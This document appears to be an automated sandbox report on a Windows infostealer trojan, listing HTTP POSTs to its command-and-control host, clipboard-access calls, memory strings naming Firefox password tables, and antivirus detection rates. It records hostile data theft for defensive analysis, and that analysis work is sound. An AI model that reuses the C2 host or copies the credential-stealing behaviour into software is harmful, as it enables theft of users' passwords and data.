Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7XS29QDJ54QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20400Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6R60VIOJM9OLEPQJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1266Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Z58EJ5HRPTGP3ZMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551867Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: tacitglibbr.biz

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: tacitglibbr.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz

Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: X2hna87N3Y.exe, 00000002.00000003.1837741208.000000000386E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: X2hna87N3Y.exe, 00000002.00000003.1791313972.000000000388E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: X2hna87N3Y.exe, 00000002.00000003.1838918603.000000000395C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: X2hna87N3Y.exe, 00000002.00000003.1838918603.000000000395C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: X2hna87N3Y.exe, 00000002.00000003.1815799189.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791495698.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791387786.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791313972.000000000388C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: X2hna87N3Y.exe, 00000002.00000003.1791387786.0000000003860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: X2hna87N3Y.exe, 00000002.00000003.1815799189.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791495698.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791387786.0000000003885000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1791313972.000000000388C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: X2hna87N3Y.exe, 00000002.00000003.1791387786.0000000003860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: X2hna87N3Y.exe, 00000002.00000003.1967520057.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1967608175.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1898523621.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000002.1968906269.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1861640861.0000000003842000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1837473248.0000000003841000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1838884443.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1865958853.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1908365458.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1861061599.0000000003841000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1923244085.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1837946467.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1860626926.0000000003841000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1839293002.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1836962329.0000000003841000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1910866448.0000000003843000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/
Source: X2hna87N3Y.exe, 00000002.00000003.1898523621.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1908365458.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1923244085.0000000003843000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1910866448.0000000003843000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/$
Source: X2hna87N3Y.exe, 00000002.00000003.1967608175.0000000000FF1000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1967520057.0000000003848000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000002.1968906269.0000000000F87000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1967856629.0000000000F87000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000002.1969025974.0000000000FF1000.00000004.00000020.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000002.1969538530.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api
Source: X2hna87N3Y.exe, 00000002.00000003.1899145307.0000000003848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api5pnX
Source: X2hna87N3Y.exe, 00000002.00000003.1967520057.0000000003848000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000002.1969538530.0000000003848000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1923244085.0000000003843000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apiGy
Source: X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: X2hna87N3Y.exe, 00000002.00000003.1839293002.000000000383A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: X2hna87N3Y.exe, 00000002.00000003.1790862040.0000000003849000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1790714563.000000000385F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: X2hna87N3Y.exe, 00000002.00000003.1838918603.000000000395C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: X2hna87N3Y.exe, 00000002.00000003.1838918603.000000000395C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: X2hna87N3Y.exe, 00000002.00000003.1838918603.000000000395C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: X2hna87N3Y.exe, 00000002.00000003.1838918603.000000000395C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: X2hna87N3Y.exe, 00000002.00000003.1838918603.000000000395C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 2_2_004303D0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_004303D0

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 2_2_004303D0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_004303D0

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00DB5000	0_2_00DB5000
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00DA29F2	0_2_00DA29F2
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00D8B2B8	0_2_00D8B2B8
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00DA0C16	0_2_00DA0C16
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00D95790	0_2_00D95790
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 0_2_00D8FF5A	0_2_00D8FF5A
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00408870	2_2_00408870
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0042B0E3	2_2_0042B0E3
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00435880	2_2_00435880
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004228A8	2_2_004228A8
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0040C97B	2_2_0040C97B
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00418A48	2_2_00418A48
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00435530	2_2_00435530
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0040C593	2_2_0040C593
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004385B0	2_2_004385B0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043CE10	2_2_0043CE10
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043C610	2_2_0043C610
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004256E0	2_2_004256E0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004167B7	2_2_004167B7
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043C840	2_2_0043C840
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00411073	2_2_00411073
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0041D000	2_2_0041D000
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043B800	2_2_0043B800
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00435000	2_2_00435000
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0042C024	2_2_0042C024
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043409C	2_2_0043409C
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0042329A	2_2_0042329A
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004360A0	2_2_004360A0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004180B9	2_2_004180B9
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00403940	2_2_00403940
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00430170	2_2_00430170
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00405930	2_2_00405930
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004091B0	2_2_004091B0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00408240	2_2_00408240
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00423249	2_2_00423249
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00427250	2_2_00427250
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00434A76	2_2_00434A76
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0040E201	2_2_0040E201
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0041BA00	2_2_0041BA00
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00438A00	2_2_00438A00
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00419210	2_2_00419210
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00406220	2_2_00406220
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0041CAC0	2_2_0041CAC0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004232C0	2_2_004232C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004042F0	2_2_004042F0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0042329A	2_2_0042329A
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00421AAD	2_2_00421AAD
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00436B74	2_2_00436B74
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043CB10	2_2_0043CB10
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00402B90	2_2_00402B90
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00421390	2_2_00421390
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00427396	2_2_00427396
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004363A0	2_2_004363A0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0041B3B2	2_2_0041B3B2
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00415461	2_2_00415461
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00424C60	2_2_00424C60
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00404C20	2_2_00404C20
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0042A42F	2_2_0042A42F
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0040AC30	2_2_0040AC30
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043B4D0	2_2_0043B4D0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00428480	2_2_00428480
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00415C82	2_2_00415C82
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00416C91	2_2_00416C91
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00407490	2_2_00407490
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00416494	2_2_00416494
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004294A0	2_2_004294A0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0042A4BE	2_2_0042A4BE
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00438D40	2_2_00438D40
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0042A507	2_2_0042A507
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0042A51C	2_2_0042A51C
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0041D520	2_2_0041D520
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004275C0	2_2_004275C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043B5C0	2_2_0043B5C0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0041E5E0	2_2_0041E5E0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0041A5A0	2_2_0041A5A0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00434DA0	2_2_00434DA0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004095B0	2_2_004095B0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00417678	2_2_00417678
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00414EC0	2_2_00414EC0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043B6E0	2_2_0043B6E0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004066B0	2_2_004066B0
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0040A740	2_2_0040A740
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0043B770	2_2_0043B770
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00408F00	2_2_00408F00
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_0042FF00	2_2_0042FF00
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00402F30	2_2_00402F30
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_004267F9	2_2_004267F9
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00424F90	2_2_00424F90
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00DB5000	2_2_00DB5000
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00DA29F2	2_2_00DA29F2
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00D8B2B8	2_2_00D8B2B8
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00DA0C16	2_2_00DA0C16
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00D95790	2_2_00D95790
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: 2_2_00D8FF5A	2_2_00D8FF5A

Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: String function: 00D8B7C0 appears 93 times
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: String function: 00408040 appears 36 times
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: String function: 004141E0 appears 65 times
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: String function: 00D93EBF appears 42 times
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Code function: String function: 00D9842D appears 40 times

Source: X2hna87N3Y.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: X2hna87N3Y.exe	Static PE information: Section: .bss ZLIB complexity 1.000329525483304
Source: X2hna87N3Y.exe	Static PE information: Section: .bss ZLIB complexity 1.000329525483304

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@1/1

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Code function: 2_2_00435880 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00435880

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: X2hna87N3Y.exe, 00000002.00000003.1791149801.0000000003864000.00000004.00000800.00020000.00000000.sdmp, X2hna87N3Y.exe, 00000002.00000003.1815890661.0000000003832000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: X2hna87N3Y.exe	Virustotal: Detection: 52%
Source: X2hna87N3Y.exe	ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\X2hna87N3Y.exe

File read: C:\Users\user\Desktop\X2hna87N3Y.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\X2hna87N3Y.exe "C:\Users\user\Desktop\X2hna87N3Y.exe"
Source: C:\Users\user\Desktop\X2hna87N3Y.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
